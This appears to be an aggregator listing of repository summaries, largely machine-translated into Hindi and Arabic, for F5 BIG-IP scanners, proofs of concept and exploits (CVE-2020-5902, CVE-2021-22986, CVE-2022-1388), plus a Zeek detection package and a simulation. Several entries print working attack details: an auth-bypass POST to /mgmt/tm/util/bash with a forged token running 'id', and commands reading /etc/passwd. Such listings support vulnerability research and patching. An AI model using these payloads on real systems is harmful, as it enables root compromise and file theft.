CVE-2021-22986

CVE-2021-22986 यह भेद्यता बिना प्रमाणीकरण वाले हमलावरों को, जिनके पास BIG-IP प्रबंधन इंटरफ़ेस और सेल्फ IP पतों के माध्यम से iControl REST इंटरफ़ेस तक नेटवर्क पहुंच है, मनमाने सिस्टम कमांड निष्पादित करने, फ़ाइलें बनाने या हटाने और सेवाओं को अक्षम करने की अनुमति देती है। इस भेद्यता का शोषण केवल...

CVE-2022-1388

CVE-2022-1388 F5 के BIG-IP उत्पाद की iControl REST API सुविधा में एक रिमोट कोड निष्पादन भेद्यता मौजूद है। एक अनप्रमाणित, रिमोट हमलावर प्रमाणीकरण को बायपास करने और रूट विशेषाधिकारों के साथ मनमाने कमांड निष्पादित करने के लिए इसका शोषण कर सकता है। उपयोग python3 f5bigipscanner.py...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP iControl REST भेद्यता RCE शोषण Java के साथ। विशेषताएं एकल लक्ष्य स्कैन करें एकाधिक लक्ष्य स्कैन करें शेल के साथ शोषण लैब सेटअप आप लैब को यहाँ पा सकते हैं चलाएँ आप कोड को सीधे user javac main.java द्वारा चला सकते हैं, उसके बाद user java main help यदि आपके पास JVM नहीं है, त...

CVE-2025-20029-simulation

🔐 पुनः चलाने योग्य आक्रमण सिमुलेशन – CVE-2025-20029 ⚠️ यह रिपॉजिटरी CVE-2025-20029 का सुरक्षित और नियंत्रित वातावरण में सिमुलेशन करती है। यह वास्तविक F5 BIG-IP प्रणालियों के साथ इंटरैक्ट नहीं करती या किसी प्रोडक्शन सेवा का शोषण नहीं करती। लक्ष्य शैक्षिक है: भेद्यता पैटर्न का अध्ययन करना और पेलोड क...

CVE-2020-5902-F5-BIGIP

CVE-2020-5902-F5-BIGIP किसी दी गई सूची से F5 BIG-IP के लिए स्कैन करें और CVE-2020-5902 की जाँच करें...

CVE-2020-5902

CVE-2020-5902 सारांश BIG-IP संस्करण 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1, और 11.6.1-11.6.5.1 में, ट्रैफिक मैनेजमेंट यूज़र इंटरफ़ेस TMUI, जिसे कॉन्फ़िगरेशन उपयोगिता भी कहा जाता है, में अज्ञात पृष्ठों में रिमोट कोड एक्सिक्यूशन RCE कमजोरी है। प्रूफ ऑफ कॉन्सेप्ट...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902: BIG-IP versions 15.0.0 through 15.1.0.3, 14.1.0 through 14.1.2.5, 13.1.0 through 13.1.3.3, 12.1.0 through 12.1.5.1, and 11.6.1 through 11.6.5.1 suffer from Traffic Management User Interface TMUI arbitrary file read and command execution vulnerabilities...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE जाँचकर्ता CVE-2022-1388 RCE F5 BIG-IP की जाँच करने के लिए सरल bash स्क्रिप्ट। + उपयोग: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit IP पता बदलना न भूलें root@kitploit: curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat...

CVE-2022-1388

CVE-2022-1388 Poc:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url Exp:pocsuite -r CVE-2022-1388F5BIG-IPPOCEXP.py -u url --attack --command command अस्वीकरण यह उपकरण केवल अध्ययन, अनुसंधान और स्व-जाँच के लिए है। इसका उपयोग अवैध उद्देश्यों के लिए नहीं किया जाना चाहिए। इस उपकरण के उपयोग से उत्पन्न...

Exploit-F5-CVE-2022-1388

Exploit-F5-CVE-2022-1388 PoC لـ F5 BIG-IP - سكريبت bash استغلال بسطر واحد الإصدارات الضعيفة : إصدارات BIG-IP من 16.1.0 إلى 16.1.2 تم إصدار التصحيح إصدارات BIG-IP من 15.1.0 إلى 15.1.5 تم إصدار التصحيح إصدارات BIG-IP من 14.1.0 إلى 14.1.4 تم إصدار التصحيح إصدارات BIG-IP من 13.1.0 إلى 13.1.4 تم إصدار...

CVE-2020-5902-F5BigIP

CVE-2020-5902 F5 BIG-IP उपकरण सारांश: CVE-2020-5902 के लिए एक Zeek डिटेक्शन पैकेज, जो F5 Networks BIG-IP उपकरणों को प्रभावित करने वाली CVE10.0 भेद्यता है। संदर्भ: https://corelight.blog/2020/07/28/zeek-in-its-sweet-spot-detecting-f5s-big-ip-cve10-cve-2020-5902/...

F5-BIG-IP-CVE-2020-5902

इस रिपॉजिटरी में README नहीं है।...

CVE-2020-5902

CVE-2020-5902 نص برمجي بايثون للتحقق من CVE-2020-5902 أجهزة F5 BIG-IP. الاستخدام root@kitploit: python3 CVE-2020-5902.py -i المخرجات root@kitploit: - Python script to check CVE-2020-5902 F5 BIG-IP devices. | coded by Abdullah AlZahrani ! Your target: 127.0.0.1 I /etc/passwd readable PoC...

CVE-2022-1388

CVE-2022-1388-Exploit نص الاستغلال والفحص لـ CVE 2022-1388 الاستخدام للتحقق من مضيف واحد عبر URL root@kitploit: python3 exploit.py -v true -u targeturl لمهاجمة مضيف واختبار الأمر على هذا المضيف root@kitploit: python3 exploit.py -a true -u targeturl -c command مهاجمة قائمة من المضيفين أو إرفاق ملف...

Nuclei-Template-Exploit-F5-BIG-IP-iControl-REST-Auth-Bypass-RCE-Command-Parameter

قالب Nuclei لاستغلال F5 BIG-IP iControl REST لتجاوز المصادقة وتنفيذ الأوامر عن بُعد RCE | معامل الأوامر CVE-2022-1388 هو ثغرة لتجاوز المصادقة في مكوّن REST بواجهة iControl API الخاصة بـ BIG-IP، وقد حصلت على درجة CVSSv3 تبلغ 9.8. تُستخدم واجهة برمجة تطبيقات iControl REST لإدارة و تكوين أجهزة BIG-I...

CVE-2022-1388

CVE-2022-1388 F5 BIG-IP को प्रभावित करने वाले CVE-2022-1388 के लिए PoC। उपयोग root@kitploit: $ ./poc.sh --help Usage: poc.sh --help --file FILE --scan --exploit --payload PAYLOAD CVE-2022-1388 PoC script. One or multiple IPs can be scanned. Arguments: --help Show this help message and exit. --fil...

CVE-2020-5902

CVE-2020-5902 نص بايثون لاستغلال الثغرة الأمنية F5 Big-IP CVE-2020-5902 أمثلة استغلال قراءة ملف محلي: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd استغلال تنفيذ أوامر عن بُعد RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2020-5902-Vuln-Checker

مدقق الثغرة CVE-2020-5902 أثناء النظر في الثغرة مع باحثين آخرين، خطرت لنا فكرة أن معظم الطرق الحالية لاختبار الثغرة يمكن تصنيفها كشكل من أشكال اختراق النظام. أردنا تطوير طريقة لاختبار الثغرة بحيث لا تخترق النظام الذي يتم مسحه ضوئيًا. لهذا، كتبنا هذه الأداة الصغيرة بلغة Python. تقوم بإجراء طلب GET...

CVE-2022-1388-EXP

F5 BIG-IP RCE Check जाँच: CVE-2022-1388 F5 BIG-IP RCE बैच जाँच exp: नोट: exp CVE-2021-22986 के आधार पर संशोधित है!...

CVE-2022-1388_PoC

F5 BIG-IP RCE शोषण CVE-2022-1388 POST 1: root@kitploit: POST /mgmt/tm/util/bash HTTP/1.1 Host: :8443 Authorization: Basic YWRtaW46 Connection: keep-alive, X-F5-Auth-Token X-F5-Auth-Token: 0 "command": "run" , "utilCmdArgs": " -c 'id' " curl कमांड-लाइन: root@kitploit: $ curl -i -s -k -X $'POST' \ ...